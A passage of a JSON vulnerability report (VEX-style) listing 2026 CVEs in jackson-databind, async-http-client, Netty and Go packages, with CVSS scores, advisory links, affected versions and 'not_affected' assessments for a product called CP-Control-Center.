"redhat" }, "score": 5.3, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N" } ], "cwes": [ 863 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, in BeanDeserializer._deserializeUsingPropertyBased, the active-view (@JsonView) filter was applied only to creator properties; the regular property-buffering branch performed no prop.visibleInView(activeView) check. A change making SetterlessProperty.isMerging() return true routed setterless Collection/Map properties through this unguarded path, so a setterless collection annotated with a restricted @JsonView is populated from attacker JSON even when the active view excludes it. This vulnerability is fixed in 2.21.4 and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.21.4, 3.1.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54517" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54517" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/5bf23edb4221f7dd2ec8e71ff6d26c61640f261d" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/94c5d215b3af1505098c686405d9641f041a9962" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5969" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5970" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5hh8-q8hv-fr38" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54517" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517" } ], "published": "2026-06-23T21:17:02+00:00", "updated": "2026-06-27T20:51:09+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. @JsonView is never used anywhere in control-center-backend, so there is no view-based access-control boundary for this CVE's bypass to defeat." } }, { "id": "CVE-2026-54518", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N" } ], "cwes": [ 863 ], "description": "jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.21.0 until 2.21.4 and 3.1.4, UnwrappedPropertyHandler.processUnwrappedCreatorProperties() replays buffered JSON into creator parameters but never consults prop.visibleInView(activeView). The normal property-based creator path gates creator properties on the active view, but this unwrapped-creator replay path bypasses that check, so a constructor parameter annotated with both @JsonView(AdminView.class) and @JsonUnwrapped is populated from attacker JSON even when a more restrictive view is active. This vulnerability is fixed in 2.21.4 and 3.1.4.", "recommendation": "Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.21.4", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-54518" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-54518" }, { "url": "https://github.com/FasterXML/jackson-databind" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/721fa07ebbd4aab4a659a1a68940878315c3e341" }, { "url": "https://github.com/FasterXML/jackson-databind/commit/d633bc038f200c1397c07f1a2b46f58e72c91eea" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5971" }, { "url": "https://github.com/FasterXML/jackson-databind/pull/5973" }, { "url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-rcqc-6cw3-h962" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54518" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-54518" } ], "published": "2026-06-23T22:16:32+00:00", "updated": "2026-06-27T20:49:30+00:00", "affects": [ { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2", "versions": [ { "version": "2.21.2", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/com.fasterxml.jackson.core/jackson-databind@2.21.2" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. @JsonView is never used anywhere in control-center-backend, so there is no view-based access-control boundary for this CVE's bypass to defeat." } }, { "id": "CVE-2026-55688", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N" }, { "source": { "name": "redhat" }, "score": 4, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N" }, { "source": { "name": "ubuntu" }, "severity": "medium" } ], "cwes": [ 1275 ], "description": "The AsyncHttpClient (AHC) library allows Java applications to easily execute HTTP requests and asynchronously process HTTP responses. In versions from 2.0.0 prior to 2.16.0 and from 3.0.0.Beta1 prior to 3.0.11, ThreadSafeCookieStore stored a cookie under the value of its Domain attribute without verifying that the responding host is allowed to set a cookie for that domain, leading to a cookie tossing / cookie injection issue. A host the client connects to can therefore plant a cookie scoped to an unrelated domain, and the client will then send that cookie on later requests to that domain. Applications that use a single AsyncHttpClient instance - and thus the default, shared CookieStore - to reach both an attacker-influenced host and a trusted host are impacted. This issue has been fixed in versions 2.16.0 and 3.0.11.", "recommendation": "Upgrade org.asynchttpclient:async-http-client to version 3.0.11, 2.16.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-55688" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-55688" }, { "url": "https://github.com/AsyncHttpClient/async-http-client" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/commit/8e4069cf3c92abe099db5fb13378ac2fe9e1fd3b" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/commit/e6955c1e3951cf80e286981d064f6c926ce33f47" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/pull/2196" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/pull/2199" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/releases/tag/async-http-client-project-2.16.0" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/releases/tag/async-http-client-project-3.0.11" }, { "url": "https://github.com/AsyncHttpClient/async-http-client/security/advisories/GHSA-m452-q8c9-rg2f" }, { "url": "https://lists.debian.org/debian-lts-announce/2026/08/msg00011.html" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55688" }, { "url": "https://ubuntu.com/security/notices/USN-8655-1" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-55688" } ], "published": "2026-07-01T20:17:11+00:00", "updated": "2026-08-06T22:17:52+00:00", "affects": [ { "ref": "pkg:maven/org.asynchttpclient/async-http-client@3.0.10", "versions": [ { "version": "3.0.10", "status": "affected" } ] }, { "ref": "pkg:maven/org.asynchttpclient/async-http-client@3.0.10", "versions": [ { "version": "3.0.10", "status": "affected" } ] }, { "ref": "pkg:maven/org.asynchttpclient/async-http-client@3.0.10", "versions": [ { "version": "3.0.10", "status": "affected" } ] }, { "ref": "pkg:maven/org.asynchttpclient/async-http-client@3.0.10", "versions": [ { "version": "3.0.10", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/org.asynchttpclient/async-http-client@3.0.10" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/org.asynchttpclient/async-http-client@3.0.10" } ] }, { "id": "CVE-2026-55831", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400, 770 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame`, allowing a remote SPDY/3.1 peer to send a syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries and amplifies network input into heap growth and ordered-map insertion work. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-55831" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-55831" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b" }, { "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-55831" } ], "published": "2026-07-21T00:17:35+00:00", "updated": "2026-07-23T15:17:16+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final via netty-codec-http2 and async-http-client, has no direct usage of any SPDY-related classes, and runs no Netty-based server of its own." } }, { "id": "CVE-2026-55833", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400 ], "description": "Netty is a network application framework for development of protocol servers and clients. Prior to 4.1.136.Final and 4.2.16.Final, Netty SPDY header decoding continues inflating zlib-compressed header blocks after the raw header parser has exceeded `maxHeaderSize` and marked the frame truncated in `SpdyFrameCodec`, allowing a remote peer to send a small compressed `HEADERS` block that expands into much larger raw header data and causes compression-amplified CPU and allocation churn. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-55833" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-55833" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b" }, { "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-mvh2-crg5-v77c" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55833" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-55833" } ], "published": "2026-07-21T00:17:35+00:00", "updated": "2026-07-23T13:34:45+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final via netty-codec-http2 and async-http-client, has no direct usage of any SPDY-related classes, and runs no Netty-based server of its own." } }, { "id": "CVE-2026-56745", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "nvd" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400 ], "description": "Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, the `SpdyHttpDecoder` handler in Netty's SPDY-to-HTTP codec allocates a pooled `ByteBuf` when processing a client-initiated `SYN_STREAM` frame with `FLAG_FIN=0` and stores the partially constructed `FullHttpRequest` in `messageMap`; when the remote peer sends `RST_STREAM` for that stream or the accumulated content exceeds `maxContentLength`, the decoder removes the entry but does not release the pooled `ByteBuf`, causing native memory exhaustion. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56745" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56745" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b" }, { "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-jppx-w49h-x2qq" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56745" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56745" } ], "published": "2026-07-21T22:17:14+00:00", "updated": "2026-07-30T14:46:55+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final via netty-codec-http2 and async-http-client, has no direct usage of any SPDY-related classes, and runs no Netty-based server of its own." } }, { "id": "CVE-2026-56746", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 6.5, "severity": "medium", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N" } ], "cwes": [ 284 ], "description": "Netty is a network application framework for development of protocol servers and clients. Versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, are vulnerable to security control bypass during the origin evaluation process. CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56746" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56746" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56746" } ], "published": "2026-07-21T22:17:14+00:00", "updated": "2026-07-30T14:47:53+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http@4.1.133.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http to the fixed 4.1.136.Final and has no direct usage of CorsHandler anywhere in its source." } }, { "id": "CVE-2026-56819", "source": { "name": "ghsa", "url": "https://github.com/advisories?query=type%3Areviewed+ecosystem%3Amaven" }, "ratings": [ { "source": { "name": "ghsa" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 400, 401 ], "description": "Netty is a network application framework for development of protocol servers and clients. In versions 4.2.0.Final through 4.2.15.Final and 4.1.0.Final through 4.1.135.Final, a remote unauthenticated peer can leak one direct `ByteBuf` per HTTP/2 `DATA` frame in applications that enable HTTP/2 content decompression via `DelegatingDecompressorFrameListener`. When a `DATA` frame is processed for a stream whose decompressor has already been closed, `Http2Decompressor.decompress(...)` calls `decompressor.writeInbound(data.retain())` and does not release the retained buffer on the error path, eventually exhausting direct memory and crashing the JVM. This issue is fixed in versions 4.1.136.Final and 4.2.16.Final.", "recommendation": "Upgrade io.netty:netty-codec-http2 to version 4.2.16.Final, 4.1.136.Final", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56819" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56819" }, { "url": "https://github.com/netty/netty" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b" }, { "url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003bhttps://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final" }, { "url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final" }, { "url": "https://github.com/netty/netty/security/advisories/GHSA-93wv-jw9v-4972" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56819" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56819" } ], "published": "2026-07-21T23:17:52+00:00", "updated": "2026-07-30T14:46:35+00:00", "affects": [ { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.1.133.Final", "versions": [ { "version": "4.1.133.Final", "status": "affected" } ] }, { "ref": "pkg:maven/io.netty/netty-codec-http2@4.2.13.Final", "versions": [ { "version": "4.2.13.Final", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.1.133.Final" }, { "ref": "urn:cdx:f7fcdb1a-7f36-418c-83dc-1e1cac279324/1#pkg:maven/io.netty/netty-codec-http2@4.2.13.Final" } ], "analysis": { "state": "not_affected", "justification": "code_not_reachable", "response": [ "update" ], "detail": "This issue is not exploitable in the CP-Control-Center. This issue will be addressed in an upcoming quarterly patch release if an updated package is available. control-center-backend already resolves netty-codec-http2 to the fixed 4.1.136.Final directly at compile scope, has no direct usage of Http2ConnectionHandler or Http2FrameCodec, and runs no Netty-based server of its own." } }, { "id": "CVE-2026-56852", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "azure" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" } ], "cwes": [ 835 ], "description": "A norm.Iter can enter an infinite loop when handling input containing invalid UTF-8 bytes.", "recommendation": "Upgrade golang.org/x/text to version 0.39.0", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56852" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56852" }, { "url": "https://go.dev/cl/794100" }, { "url": "https://go.dev/issue/80142" }, { "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56852" }, { "url": "https://pkg.go.dev/vuln/GO-2026-5970" }, { "url": "https://www.cve.org/CVERecord?id=CVE-2026-56852" } ], "published": "2026-07-21T20:17:02+00:00", "updated": "2026-07-23T18:27:48+00:00", "affects": [ { "ref": "pkg:golang/golang.org/x/text@v0.37.0", "versions": [ { "version": "v0.37.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/text@v0.38.0", "versions": [ { "version": "v0.38.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/text@v0.37.0", "versions": [ { "version": "v0.37.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/text@v0.37.0", "versions": [ { "version": "v0.37.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/text@v0.38.0", "versions": [ { "version": "v0.38.0", "status": "affected" } ] }, { "ref": "pkg:golang/golang.org/x/text@v0.38.0", "versions": [ { "version": "v0.38.0", "status": "affected" } ] }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/text@v0.37.0" }, { "ref": "urn:cdx:eed511bf-6a33-40f2-ac5f-8d20e444be69/1#pkg:golang/golang.org/x/text@v0.38.0" }, { "ref": "urn:cdx:396d0c45-aab2-431f-80c3-446f04ad8d3b/1#pkg:golang/golang.org/x/text@v0.37.0" }, { "ref": "urn:cdx:e695925b-b1f7-4299-ba7b-66a0749d2d83/1#pkg:golang/golang.org/x/text@v0.38.0" } ], "analysis": { "state": "not_affected", "justification": "", "response": [ "update" ], "detail": null } }, { "id": "CVE-2026-56853", "source": { "name": "govulndb", "url": "https://pkg.go.dev/vuln/" }, "ratings": [ { "source": { "name": "alma" }, "severity": "high" }, { "source": { "name": "amazon" }, "severity": "high" }, { "source": { "name": "bitnami" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "oracle-oval" }, "severity": "high" }, { "source": { "name": "redhat" }, "score": 7.5, "severity": "high", "method": "CVSSv31", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H" }, { "source": { "name": "rocky" }, "severity": "high" } ], "cwes": [ 770 ], "description": "When a server is configured to support unencrypted HTTP/2, it reads a few bytes from each new connection to see if they contain the HTTP/2 client preface. ReadHeaderTimeout is unexpectedly not being applied when doing this.", "recommendation": "Upgrade stdlib to version 1.25.13, 1.26.6, 1.27.0-rc.3", "advisories": [ { "url": "https://avd.aquasec.com/nvd/cve-2026-56853" }, { "url": "https://access.redhat.com/errata/RHSA-2026:60304" }, { "url": "https://access.redhat.com/security/cve/CVE-2026-56853" }, { "url": "https://bugzilla.redhat.com/2515815" }, { "url": "https://bugzilla.redhat.com/2515820" }, { "url": "https://bugzilla.redhat.com/2515827" }, { "url": "https://bugzilla.redhat.com/2515838" }, { "url": "https://bugzilla.redhat.com/2515839" }, { "url": 